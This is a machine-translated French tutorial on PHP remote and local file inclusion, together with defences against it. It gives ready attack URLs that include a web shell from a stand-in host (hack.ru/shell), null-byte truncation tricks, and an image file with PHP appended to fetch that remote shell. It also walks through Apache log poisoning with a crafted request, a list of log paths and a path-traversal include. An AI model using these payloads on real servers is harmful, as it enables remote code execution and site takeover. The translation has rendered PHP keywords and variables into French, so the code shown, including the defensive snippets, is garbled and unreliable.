This page has been robot translated, sorry for typos if any. Original content here.

PHP-inclure et façons de protéger



  • Global Includ
  • Protection contre l'inclusion globale
  • Includ local
  • Les journaux d'Apache
  • Protection contre l'inclusion locale


  • Introduction

    Global Includ

    La plus dangereuse des vulnérabilités du web, mais malheureusement, ou heureusement est très rare à notre époque. Pour l'attaque, il faut que la fonction allow_url_include soit activée, ie "On"
    La vulnérabilité permet à un attaquant d'exécuter du code php arbitraire sur le serveur.
    En PHP, il y a quatre fonctions pour inclure des fichiers dans un script PHP:

    * include ()
    * include_once ();
    * require ();
    require_once ().

    La fonction include () inclut le contenu du fichier dans le script. Considérons un exemple de code "double" vulnérable:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      autre chose
     
      {
     
      include ( $ fichier . '.php' );
     
      }
     
      ?>
    
    
    En utilisant la condition, nous vérifions si l'élément du tableau $ _GET ['page'] est passé au serveur via l'URL, puis nous appelons la fonction include () . En raison du fait que la valeur du tableau $ _GET ['page'] n'est pas vérifiée pour l'existence, l'attaquant peut effectuer une attaque en utilisant la fonction file_exists ():

    http://site.ru/index.php?page=http://hack.ru/shell Sinon, nous incluons include ($ file. '. php'); Ici, la situation est la même, écrire le code est un peu différent. La variable $ file n'est pas
    a été déterminé tôt et l'attaquant peut exécuter à distance le code php:
    http://site.ru/index.php?file=http://hack.ru/shell La fonction include_once () est pratiquement la même que celle d' include () , à une exception près: avant d'inclure le fichier dans le programme, elle ne vérifie pas si elle a été incluse plus tôt. Si le fichier a déjà été inclus, l'appel include_once () est ignoré et, si ce n'est pas le cas, le fichier est inclus en standard.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    Dans cet exemple, l'extension '.gif' est automatiquement affectée au fichier téléchargé.
    Vous pouvez vous débarrasser de l'extension '.gif' de deux façons:
    1) si magic_quotes_gpc = Off, vous pouvez utiliser "poison zero" -% 00 qui va couper l'extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) même si magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? La fonction require () est similaire à include () , sauf une - le fichier défini par le paramètre require () est inclus dans le script, quel que soit l'emplacement de require () dans le script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    attaque est similaire, mais dans ce cas l'extension n'est pas attribuée:
    http://site.ru/index.php?page=http://hack.ru/shell.php La fonction require_once () ne charge le fichier qu'une seule fois dans le script.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    attaque est similaire ...

    Considérons maintenant une autre version de Includa. Cette fois, il est nécessaire que b dans le fichier php.ini
    la valeur du paramètre allow_url_fopen était On , qui est la valeur par défaut.
    Code PHP:
      <? php
     
      $ f = fopen ( "$ fichier.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Étant donné que la variable $ file n'a pas été définie auparavant, un attaquant peut effectuer une attaque:
    http://site.ru/index.php?file=http://hack.ru/shell En conséquence, nous obtenons à nouveau le shell web.

    L'exemple suivant utilise la fonction readfile ()
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    La fonction readfile () lit le fichier dont le nom lui est passé en paramètre et affiche son contenu à l'écran.
    Par conséquent, nous obtenons à nouveau le shell Web:
    http://site.ru/index.php?file=http://hack.ru/shell Considérons maintenant cette option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    En utilisant la fonction implode () , nous combinons les éléments du tableau en une chaîne, et en utilisant la fonction file () , nous obtenons le contenu du fichier sous forme de tableau. En conséquence, nous avons de nouveau un shell web:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Protection contre l'inclusion globale

    Bien sûr, vous pouvez vérifier que le fichier existe avec la fonction file_exists () et filtrer les caractères indésirables avec str_replace () , mais je recommande d'utiliser le cas de commutateur :

      <? php
     
      page $ globale ;
     
      commutateur ( $ page )
     
      {
     
      cas '' :
     
      include ( "pages / main.php" );
     
      rompre;
     
    
      cas 'index' :
     
      include ( "pages / main.php" );
     
      rompre;
     
      case 'page1' :
     
      include ( "pages / dossier / page1.php" );
     
      rompre;
     
      case 'page2' :
     
      include ( "pages / dossier / page2.php" );
     
      rompre;
     
    
      par défaut:
     
      include ( "pages / hack.php" );
     
      rompre;
     
      }
     
      ?>
    
    
    Je vous recommande également de modifier le fichier php.ini :

    allow_url_include = Désactivé // désactive l'inclusion à distance des fichiers
    allow_url_fopen = Off // interdit fopen d'ouvrir des liens
    register_globals = Off // désactive l'initialisation des variables globales
    safe_mode = On // active safe_mode (le hacker n'aura pas accès à / etc / passwd et c'est comme ça)

    Includ local

    Pas moins de vulnérabilité dangereuse sur le web. Permet à un attaquant d'insérer des fichiers sur le serveur. Beaucoup de nouveaux arrivants rencontrent ce bug du codage web, parce qu'ils ne savent pas comment aller plus loin et quel chemin creuser. Je vais donner un exemple général:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Il n'est pas possible d'invoquer globalement, car la variable $ file est assignée après / include /
    Que peut-on faire?

    Idéal est le cas lorsque le site est soit un forum ou un autre formulaire avec lequel vous pouvez télécharger n'importe quel fichier avec n'importe quelle extension.
    La question se pose: pourquoi avec une extension? Prenons par exemple un site imaginaire sur lequel il est possible de télécharger un avatar via le forum. Sur le forum il y a un script qui vérifie - l'utilisateur a vraiment téléchargé la photo? Ouvrez la peinture et enregistrez toute image par exemple au format jpg. Ensuite, ouvrez-le avec un bloc-notes et après le code de l'image écrire <? Php include ("http://hack.ru/shell.php"); ?> À la fin, nous obtenons quelque chose comme ceci:
    			
     JFIF `` VOUS C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яЫ C 			  
    
      2!  222222222222222222222222222222222222222222222 22222a 6 6 "ЯД                    	
      μ μ μ}! 1A Qa "q 2Ѓ'Ў # B ± R RCp $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ » ... † ‡ € ‰ l'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      μμ μ w! 1 AQ aq «2Ѓ B'Ў ± B # 3Rp brC
    
      $ 4b% avec & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ Љ" "" "" "" "" "" - - - - - - - - - - ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ¶ ???? ???? ???? ???? ???? ???? ???? ???? ????  ch (ўЂ
     (€
     (€
     (€
     (€
     (€
     (€
     (€
    
     (€
     (€
     (€
     (€
     (€
     (€
     (€
     (ўЂ? яЩ
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Maintenant une telle image peut être téléchargée sur le forum et elle sera perçue exactement comme une image
    Revenons à la question de l'expansion. Pourquoi quelqu'un est-il adapté pour nous? L'affaire est cette fonction include ()
    charge le code d'un fichier dans l'exécutable. Voici un exemple:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Par conséquent, dans le fichier index.php , le code <? php include ("http://hack.ru/ shell.php "); ?>

    Les journaux d'Apache

    Comme vous le savez, apache enregistre les fichiers httpd-access.log et httpd-error.log et toutes les requêtes
    naturellement connecté et écrit dans les fichiers appropriés. Voici leur emplacement approximatif:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Je vais donner un exemple sur localhost, je pense que ce sera beaucoup plus clair. Avec l'aide du programme InetCrack j'envoie un paquet de ce contenu:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    L'en-tête du paquet est écrit dans les logs Apache situés à:
    Z:\usr\local\apache\logs\access.log dire que j'ai écrit cette ligne dans ce fichier:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Je pense que l'essence est claire. Il nous reste à l'injecter:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Et obtenir le shell Web :)

    Protection contre l'inclusion locale

    Voici un petit exemple de comment vous pouvez vous protéger de manière fiable:
      <? php
     
    


    function stripslashes_for_array (& $ tableau )
    {
    reset ( $ tableau );
    while (list ( $ key , $ val ) = chaque ( $ tableau ))
    {
    if ( is_string ( $ val )) $ array [ $ clé ] = stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ clé ] = stripslashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'fichier' ]))) $ fichier = $ _GET [ 'fichier' ];
    autre chose
    {
    if (isset ( $ _POST [ 'fichier' ]))) $ fichier = $ _POST [ 'fichier' ]; else $ file = '' ; } $ file = str_replace ( '/' , '' , $ fichier ); $ file = str_replace ( '.' , '' , $ fichier ); if (! file_exists ( "include" . '/' . $ fichier . '.php' ) || $ fichier == 'index' ) { $ file = 'nouvelles' ; } include ( "include" . '/' . $ fichier . '.php' ); ?>

    Alors, que se passe-t-il ici? Chaque élément du tableau est vérifié par stripslashes () . Elle tue les barres obliques inverses. Ensuite, nous vérifions si la valeur de l'élément de tableau est définie ou non. Nous filtrons les caractères invalides (' / ', ' . ') Avec str_replace () . Si le fichier n'existe pas (vérifiez avec la fonction file_exists () ) - attribuez la valeur de la variable $ file = 'news'. Dans d'autres cas (lorsque le fichier existe), nous l'inclurons.